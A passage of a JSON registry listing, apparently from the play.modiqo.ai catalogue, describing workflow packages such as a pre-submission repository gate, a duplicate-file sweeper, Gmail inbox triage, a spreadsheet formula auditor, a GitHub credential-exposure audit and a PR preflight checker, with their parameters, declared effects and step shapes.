checkout","example":"https://github.com/pallets/click"},{"name":"branch","type":"string","required":false,"default":"","description":"Branch or tag to inspect. Ignored for a local path; defaults to the repository default branch."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:488edffacd6683a27cb82f31db591202f102d7ff8488140c8455b75277aa2e66","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/pre-submission-gate@0.3.4","reference":"himanshu-jha/pre-submission-gate@0.3.4","uri":"https://play.modiqo.ai/himanshu-jha/pre-submission-gate@0.3.4","manifest_uri":"https://play.modiqo.ai/himanshu-jha/pre-submission-gate@0.3.4","name":"pre-submission-gate","title":"pre-submission-gate","description":"One decision and one ordered fix queue for a repository you are about to submit, joined from four audits running as parallel DAG steps. Checks credentials in locally available Git history, build environment traps, first-visit submission readiness, and web build portability. Validation fingerprints the repository root, HEAD, refs, effective Git configuration, index, worktree bytes, filesystem shape, and bundled auditor code; every child and the final join must observe that same state or the verdict is HOLD. Missing results, unknown verdicts, scan limits, unreadable or symlinked inputs, malformed findings, duplicates, and restored final results cannot produce SHIP. Local/file remotes are compared with bounded heads/tags advertisements. Network access is disabled by default, which makes an unverified network remote HOLD. Setting verify_github_remote to exactly true authorizes anonymous HTTPS heads/tags reads for at most three public github.com remotes, with 20-second, 4 MB and 50000-ref limits per remote, no redirects, isolated Git configuration and no caller credentials. Other network transports remain unverified. Repository-authored remote-ref assertions never prove completeness. Repository visibility is not queried. A repository with no web build reports NOT APPLICABLE. Audits do not execute project code or write the repository; Git optional locks and lazy object fetching are disabled.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-engineering","tool-git","hackathon","submission","composition"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.3.4","published_at":"2026-09-06T05:47:25.822536+00:00","visibility":"public","quality_score":1,"size_bytes":96201,"license":"MIT","stats":{"downloads":13,"installs":0},"steps":{"count":6,"names":["gate","audit_build","audit_history","validate_repo","audit_readiness","audit_environment"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path to the repository you are about to submit. Leave it out and the most recently committed repository under your usual project directories is gated, with the report naming which one it chose. A relative path is never right here: steps run in the play run workspace, not your shell, so it resolves somewhere you did not mean.","example":"/Users/me/src/my-entry"},{"name":"verify_github_remote","type":"string","required":false,"default":"false","description":"Exactly true authorizes anonymous bounded HTTPS heads/tags checks for up to three public github.com remotes. Exactly false, the default, makes no network requests and leaves network remote coverage HOLD. All other values fail before repository inspection. No credentials, authenticated gh calls, redirects, fetches, or account changes are used.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bf37f0c6321874bf0df7ea97d69890c26261084305b86e3a0499beead281f990","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/saich-home/clients-finder@0.7.2","reference":"saich-home/clients-finder@0.7.2","uri":"https://play.modiqo.ai/saich-home/clients-finder@0.7.2","manifest_uri":"https://play.modiqo.ai/saich-home/clients-finder@0.7.2","name":"clients-finder","title":"clients-finder","description":"Search freelance platforms (Upwork, LinkedIn, Freelancer, PeoplePerHour, YT Jobs, Workana, job boards) to find clients hiring editors for a given niche, verify the job links are live, extract contact emails, and produce a formatted Excel (.xlsx) lead list","owner":{"kind":"org","slug":"saich-home"},"registry_organization":"saich-home","tags":["typescript","exa-search","lead-gen","client-finder","video-editing","excel"],"primary_domain":"domain-uncategorized","author":"saich","version":"0.7.2","published_at":"2026-09-06T04:03:40.399735+00:00","visibility":"public","quality_score":1,"size_bytes":19063,"license":null,"stats":{"downloads":13,"installs":0},"steps":{"count":11,"names":["enrich","build_xlsx","search_pvh","check_links","merge_leads","search_upwork","search_ytjobs","search_workana","auth_exa_search","search_linkedin","search_freelancer"]},"parameters":[{"name":"niche","type":"string","required":true,"description":"The skill/niche to search for, e.g. short-form-video-editing, podcast-editing, thumbnail-design"},{"name":"num_results","type":"integer","required":false,"default":10,"description":"Number of results to return per platform search"}],"execution":{"adapters":[{"id":"saich-home/exa-search","name":"exa-search","version":null,"credential_status":"required"},{"id":"exa-search","name":"exa-search","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:412a2ce05c6fd2565dc4ad99d84651a3cb7ea4c2349158cbfde20f46c36b20f5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":6,"shell":4,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":6,"width":6,"fan_out":0,"for_each_steps":0,"complexity":22,"apis":[{"adapter":"exa-search","steps":7,"methods":["search"],"display_name":"exa-search","host":"api.exa.ai","kind":"rest","tools":7,"fingerprint":"mcp_psdrrfUj7faB6gNCvZT5FqLagVM","source":"saich-home/exa-search","version":"1.4.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":7},"cost":{"api_tokens":97606,"context_tokens":11323,"exploration_ms":51959,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/satianurag/dupe-sweep@0.3.4","reference":"satianurag/dupe-sweep@0.3.4","uri":"https://play.modiqo.ai/satianurag/dupe-sweep@0.3.4","manifest_uri":"https://play.modiqo.ai/satianurag/dupe-sweep@0.3.4","name":"dupe-sweep","title":"dupe-sweep","description":"Your Downloads folder has the same invoice three times and you didn't put them there. This finds files that are byte-for-byte identical -- proven by a SHA-256 match, never a filename or size guess -- and quarantines every copy but one, reporting the exact bytes reclaimed rather than an estimate. Dry run by default: the first run touches nothing. Nothing is ever deleted -- duplicates move to a dated folder shipping its own undo.py, so restoring needs python3 and no Rote install. A hardlinked pair is reported separately and never counted as reclaimable, because deleting one frees zero bytes. Which copy survives is yours to set (oldest, newest, or a priority folder) and always deterministic. Skips .git, node_modules and macOS app bundles, and never acts on a file that changed mid-scan. Zero credentials, zero network, python3 stdlib only. Try demo=true: fixtures in a temp copy, so apply=true is safe with nothing real at risk.","owner":{"kind":"user","slug":"satianurag"},"registry_organization":"satianurag","tags":["files","duplicates","disk-space","local-first","zero-credentials","deterministic","reversible"],"primary_domain":"domain-uncategorized","author":"Satianurag","version":"0.3.4","published_at":"2026-09-05T18:55:14.645466+00:00","visibility":"public","quality_score":1,"size_bytes":25669,"license":null,"stats":{"downloads":13,"installs":0},"steps":{"count":3,"names":["scan","apply","discover"]},"parameters":[{"name":"paths","type":"string","required":false,"default":"~/Downloads","description":"Comma-separated directories to scan (absolute, or ~-relative). Ignored in demo mode.","example":"~/Downloads,~/Desktop"},{"name":"min_size_bytes","type":"integer","required":false,"default":"4096","description":"Files smaller than this are ignored entirely -- most small files (icons, empty markers) are noise, not clutter worth reporting.","example":"4096"},{"name":"max_files","type":"integer","required":false,"default":"50000","description":"Scan budget guard. A scan that hits this cap stops and reports capped=true rather than silently truncating without saying so.","example":"50000"},{"name":"include_hidden","type":"boolean","required":false,"default":"false","description":"Include dotfiles and dot-directories in the scan. Off by default -- most hidden files are app/tool state, not user clutter.","example":"false"},{"name":"exclude_paths","type":"string","required":false,"default":"","description":"Comma-separated directories (or individual files) to skip entirely -- pruned during the walk itself, never even stat()'d. A verified real-world need: fdupes' own issue tracker has a long-standing user request for exactly this (an --exclude flag).","example":"~/Downloads/Archives,~/Downloads/DoNotTouch"},{"name":"keep_rule","type":"string","required":false,"default":"oldest","description":"Which copy in each duplicate set is kept: oldest (default -- earliest mtime), newest (latest mtime), or priority (prefer a file under priority_paths, in the order listed; a set with no match falls back to oldest). Matches the 'keep newest'/'by priority folder' rules real duplicate-finder tools (Duplicate Cleaner Pro, Nektony) document. keep_rule=priority with priority_paths left empty degrades to oldest -- a stated fallback, never a silent one.","example":"priority"},{"name":"priority_paths","type":"string","required":false,"default":"","description":"Comma-separated directories treated as the source of truth when keep_rule=priority -- earlier in the list wins. Ignored for every other keep_rule.","example":"~/Pictures/Library"},{"name":"apply","type":"boolean","required":false,"default":"false","description":"Actually quarantine duplicates. Off by default: a run with apply=false (or omitted) only reports the plan and the exact reclaimable bytes, and touches nothing.","example":"true"},{"name":"quarantine_dir","type":"string","required":false,"default":"~/.rote/dupe-sweep/quarantine","description":"Where quarantined duplicates go, in a dated subfolder with their own manifest.json and undo.py. Never deleted outright.","example":"~/.rote/dupe-sweep/quarantine"},{"name":"demo","type":"boolean","required":false,"default":"false","description":"Run against bundled fixtures -- copied into an isolated temp directory first, so apply=true is safe to try with zero setup and zero risk to anything real (including a real hardlinked pair, to show that path is never treated as reclaimable).","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6703ddb42cd3c6de8089d3079f6f12e565ed3db5260de333f913ff55c6a7d962","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shrinet82/daily-inbox-triage@0.2.1","reference":"shrinet82/daily-inbox-triage@0.2.1","uri":"https://play.modiqo.ai/shrinet82/daily-inbox-triage@0.2.1","manifest_uri":"https://play.modiqo.ai/shrinet82/daily-inbox-triage@0.2.1","name":"daily-inbox-triage","title":"daily-inbox-triage","description":"Most of what arrives does not need you, but you read all of it to find out which. This sorts a window of mail into Act now, Act this week and No action from the headers alone, and when no rule fits it says so rather than guessing. Urgent has a testable meaning here: the message states a deadline inside 24 hours, or another person is blocked until you answer. Nothing else qualifies, so the same verdict holds for anyone reading the same inbox. Reads headers only and never message bodies, so nothing it cannot justify reaches the report. Never writes to your mailbox; writes one PDF into your working folder each run -- disable with report=''.","owner":{"kind":"user","slug":"shrinet82"},"registry_organization":"shrinet82","tags":["effect-read-only","audience-everyone","domain-workplace","effect-writes-one-local-file","job-email-triage","tool-gmail"],"primary_domain":"domain-workplace","author":"Shashwat Pratap Singh","version":"0.2.1","published_at":"2026-09-05T05:58:20.305417+00:00","visibility":"public","quality_score":1,"size_bytes":11122,"license":null,"stats":{"downloads":13,"installs":0},"steps":{"count":7,"names":["report","details","profile","classify","messages","google_auth","compute_window"]},"parameters":[{"name":"window","type":"string","required":false,"default":"24h","description":"How far back to triage. Fetching is always time-based: a window is a complete, reproducible set, where a message count is not.","values":["12h","24h","2d","5d","1w"],"example":"24h"},{"name":"filter","type":"string","required":false,"default":"in:inbox","description":"Gmail scope to triage within, e.g. in:inbox or in:anywhere. Must not contain date terms; the window parameter owns time.","example":"in:anywhere"},{"name":"report","type":"string","required":false,"default":"inbox-triage.pdf","description":"Filename for the PDF report. Writes one file into the folder you run the Play from, every run, by default -- set to an empty string for no file at all. Give an absolute path, e.g. /home/you/inbox-triage.pdf, to put it elsewhere. Written with no external tools, so it works on any machine.","example":"/home/you/inbox-triage.pdf"}],"execution":{"adapters":[{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b24d3c6e0b686b438fd6d4d93cb2ae85312e12f55eeeefa0d6aedb034f1341eb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":3,"shell":3,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":5,"width":2,"fan_out":8,"for_each_steps":2,"complexity":14,"apis":[{"adapter":"gmail","steps":4,"methods":["gmail.users.getProfile","gmail.users.messages.get","gmail.users.messages.list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/gmail","version":"0.0.3","protocol":null,"credentials":[]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/shrinet82/spreadsheet-formula-audit@0.3.0","reference":"shrinet82/spreadsheet-formula-audit@0.3.0","uri":"https://play.modiqo.ai/shrinet82/spreadsheet-formula-audit@0.3.0","manifest_uri":"https://play.modiqo.ai/shrinet82/spreadsheet-formula-audit@0.3.0","name":"spreadsheet-formula-audit","title":"spreadsheet-formula-audit","description":"A SUM that stops one row short is invisible. The total looks right, the sheet looks right, and the number stays wrong until someone catches it in a board meeting -- and 94% of business spreadsheets carry an error like it. This finds them: a range that stops before the data does, a formula that breaks the pattern its neighbours follow, a number typed inside a formula where nobody can see or update it, and cells already showing an error. A cell that totals its own column is treated as a total, so summary rows are not flagged for looking different. Reads .xlsx with the standard library alone -- no login, no install, point it at a file. Writes one PDF report; never modifies the workbook.","owner":{"kind":"user","slug":"shrinet82"},"registry_organization":"shrinet82","tags":["effect-read-only","audience-everyone","domain-workplace","effect-writes-one-local-file","job-spreadsheet-audit","no-credentials"],"primary_domain":"domain-workplace","author":"Shashwat Pratap Singh","version":"0.3.0","published_at":"2026-09-05T05:58:14.470673+00:00","visibility":"public","quality_score":1,"size_bytes":17634,"license":null,"stats":{"downloads":13,"installs":0},"steps":{"count":4,"names":["audit","scan_formulas","scan_structure","validate_input"]},"parameters":[{"name":"workbook","type":"string","required":false,"default":"","description":"Absolute path to the .xlsx or .xlsm file to audit. Leave empty to audit the sample workbook bundled with this Play, so a first run needs no file of your own.","example":"/home/you/budget.xlsx"},{"name":"report","type":"string","required":false,"default":"spreadsheet-audit.pdf","description":"Filename for the PDF report. Writes one file into the folder you run the Play from, every run, by default -- set to an empty string for no file at all. Give an absolute path to put it elsewhere.","example":"/home/you/audit.pdf"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c42a3d6a4cb2d6e566c151061df5453c1c32fb5312283bfcd4edd6f8d732d5b6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/web-game-build-readiness@0.6.2","reference":"himanshu-jha/web-game-build-readiness@0.6.2","uri":"https://play.modiqo.ai/himanshu-jha/web-game-build-readiness@0.6.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/web-game-build-readiness@0.6.2","name":"web-game-build-readiness","title":"web-game-build-readiness","description":"Checks whether a web game build will run on someone else's machine, before you upload it. Five probe families run as parallel DAG steps (entry point, static asset references, machine-local references, engine companion files, build weight), any incomplete filesystem walk or read becomes INCOMPLETE, and the join reports blockers, risks, exact scan coverage and what it deliberately did not check. The asset probe resolves recognized static URL forms in HTML, SVG, JS and CSS, including base href, srcset, image inputs, media tracks and SVG image hrefs. It keeps the browser-first duplicate HTML attribute, flags duplicate standalone SVG attributes as incomplete, URL-decodes paths, rejects references outside the uploaded directory, and detects case-colliding files. Read-only: never writes into the build, never launches it, carries no credentials, needs only python3.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-web-operations","games","gamedev","webgl","hackathon"],"primary_domain":"domain-web-operations","author":"himanshu748","version":"0.6.2","published_at":"2026-09-05T02:35:51.170406+00:00","visibility":"public","quality_score":1,"size_bytes":22295,"license":"MIT","stats":{"downloads":13,"installs":0},"steps":{"count":7,"names":["entry","engine","weight","asset_case","local_refs","assess_build","validate_build"]},"parameters":[{"name":"build","type":"string","required":false,"default":"","description":"Absolute path to the build directory you would upload, the one holding index.html. Leave it out and the most recently touched build found under your usual project directories is checked instead, with the report naming which one it chose. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/me/src/my-game/dist"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6a2b462d28c4bd1053418f97595086c4befd5dda985e97c228d28874f9973879","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/env-vibe-check@4.16.26","reference":"ankurrawat/env-vibe-check@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/env-vibe-check@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/env-vibe-check@4.16.26","name":"env-vibe-check","title":"env-vibe-check","description":"You deploy to production and the app instantly crashes on an undefined runtime configuration. This diffs your local .env, staging .env, and .env.example, flagging missing keys, un-expanded secrets, and syntax gotchas before you ship. Zero unexpected runtime outages.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","developer-tools","automation","productivity","quality"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:41:50.532766+00:00","visibility":"public","quality_score":1,"size_bytes":513896,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":6,"names":["step_3_deep_code_inspection","step_1_bootstrap_environment","step_6_emit_developer_report","step_2_parallel_fanout_execution","step_5_synthesize_metrics_and_health","step_4_validate_integrity_constraints"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":".","description":"Path to inspect or execute against"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Run in dry-run mode without modifying filesystem"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d8a1933644e58e69a869464118a2ca9e26f360189f170baff519400becb874fb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/himanshu-jha/org-public-exposure-audit@0.2.4","reference":"himanshu-jha/org-public-exposure-audit@0.2.4","uri":"https://play.modiqo.ai/himanshu-jha/org-public-exposure-audit@0.2.4","manifest_uri":"https://play.modiqo.ai/himanshu-jha/org-public-exposure-audit@0.2.4","name":"org-public-exposure-audit","title":"org-public-exposure-audit","description":"Answers one question about a whole GitHub organisation or account: which public repositories carry credentials in their git history, and which public repositories were not checked at all. Unscanned public repositories are listed by name with the reason, and the verdict cannot be CLEAN while any remain. GitHub inventory and local-clone discovery run independently, the intersection is scanned, and a CLEAN child must also match every current public head and tag before the evidence is joined. It never clones or fetches: missing or stale clones remain explicit gaps. Network access uses the caller's authenticated gh session for inventory and credential-free public Git ref reads for freshness; the Play carries and stores no token. Read-only throughout: it reads local Git history, rotates nothing, and modifies no repository.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-security-teams","domain-security","tool-github","compliance","secrets","audit"],"primary_domain":"domain-security","author":"himanshu748","version":"0.2.4","published_at":"2026-09-06T05:45:42.21881+00:00","visibility":"public","quality_score":1,"size_bytes":37738,"license":"MIT","stats":{"downloads":12,"installs":0},"steps":{"count":5,"names":["scan_public","locate_clones","validate_scope","assess_exposure","list_repositories"]},"parameters":[{"name":"owner","type":"string","required":false,"default":"","description":"The GitHub organisation or account to audit. Leave it out and the account your gh session is logged in as is used, which the report names.","example":"my-company"},{"name":"limit","type":"string","required":false,"default":"200","description":"Maximum repositories to pull into the inventory. An inventory that hits this ceiling says so, because a truncated inventory makes even the coverage count a floor.","example":"200"},{"name":"budget","type":"string","required":false,"default":"20000","description":"Maximum history objects to walk per repository. A scan that hits this says so rather than reporting a clean result it did not earn.","example":"20000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7e7170d377eb3654712e0b72285b8cea86d54f1ef99bf44cde18bbec99cc3517","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohdavaish/agentic-rag-evaluator@0.1.6","reference":"mohdavaish/agentic-rag-evaluator@0.1.6","uri":"https://play.modiqo.ai/mohdavaish/agentic-rag-evaluator@0.1.6","manifest_uri":"https://play.modiqo.ai/mohdavaish/agentic-rag-evaluator@0.1.6","name":"agentic-rag-evaluator","title":"agentic-rag-evaluator","description":"Deterministic static analyzer and audit engine measuring retrieval mechanics, schema rigor, and guardrails across RAG pipelines.","owner":{"kind":"user","slug":"mohdavaish"},"registry_organization":"mohdavaish","tags":["ai","rag","llm-ops","static-analysis","benchmarks"],"primary_domain":"domain-uncategorized","author":"mohdavaish","version":"0.1.6","published_at":"2026-09-06T05:10:54.020374+00:00","visibility":"public","quality_score":0.649999976158142,"size_bytes":4557,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":1,"names":["evaluate"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":"none","description":"Path to the codebase or directory to evaluate"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4d753d066314d8331015417a58f794fb7d3dc0362e65f6d7e1570f05fcd83f4b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/blast-radius@0.3.5","reference":"rajdeepkushwaha/blast-radius@0.3.5","uri":"https://play.modiqo.ai/rajdeepkushwaha/blast-radius@0.3.5","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/blast-radius@0.3.5","name":"blast-radius","title":"blast-radius","description":"You change a function, update the callers you can see, and miss one. This finds the one you missed. It reads your repository at two git revisions, finds every function, method and class whose signature changed or that got deleted, then checks every call to them. ORPHANED_CALL_SITE means the call passes the wrong number of arguments now. REMOVED_SYMBOL_STILL_CALLED means the call points at something that no longer exists, including whole files the refactor deleted. INDETERMINATE means the call uses argument unpacking, so the count cannot be known by reading it, and that is reported rather than assumed fine. It only blames a call if that file actually imports the thing, so a function with the same name in another module is left alone. Relative imports count too. Files the refactor already changed are skipped, because the question is what it missed. Pass root=demo base_ref=demo to try it with nothing set up, on two folders shipped with the play, so you do not even need a repository. Before it reads your code it runs its own test cases through the same analyzer and prints the result. If those fail it shows you that instead of findings. It never runs or imports your code. Read-only, no credentials, no network. Needs python3 and git.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["refactoring","static-analysis","python","code-review","effect-read-only"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.3.5","published_at":"2026-09-06T03:17:03.940602+00:00","visibility":"public","quality_score":1,"size_bytes":14175,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":3,"names":["callers","selfcheck","signatures"]},"parameters":[{"name":"root","type":"string","required":false,"default":"demo","description":"Absolute path to the git repository to scan, or `demo` for the bundled trees"},{"name":"base_ref","type":"string","required":false,"default":"demo","description":"The revision to compare against, such as origin/main; `demo` with root=demo"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0083a982a62b2351fb49a810596a08ec44ed83d2e5616313014fc9df63db41db","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/pr-preflight@0.6.3","reference":"lgoyal6/pr-preflight@0.6.3","uri":"https://play.modiqo.ai/lgoyal6/pr-preflight@0.6.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/pr-preflight@0.6.3","name":"pr-preflight","title":"pr-preflight","description":"Answers one question before you request review: is this branch actually ready? Checks rebase state against base, flags commits with uninformative messages, reports whether source changes arrived without test changes, and catches uncommitted work that would silently miss the PR. Read-only, no credentials, no writes, needs only git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-code-review","tool-git","effect-read-only","git","review","preflight","pull-request","pre-review-check","rebase-state","divergence","commit-message-quality","uncommitted-changes","missing-tests","source-without-tests","branch-readiness","code-review","audience-developers","audience-maintainers","audience-oss-contributors","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.6.3","published_at":"2026-09-05T17:12:46.647658+00:00","visibility":"public","quality_score":1,"size_bytes":13274,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":6,"names":["branch","changed","commits","selfcheck","divergence","uncommitted"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Path to the git repository to inspect","example":"/Users/you/your-repo"},{"name":"base","type":"string","required":false,"default":"main","description":"Base branch the PR would target, without the origin/ 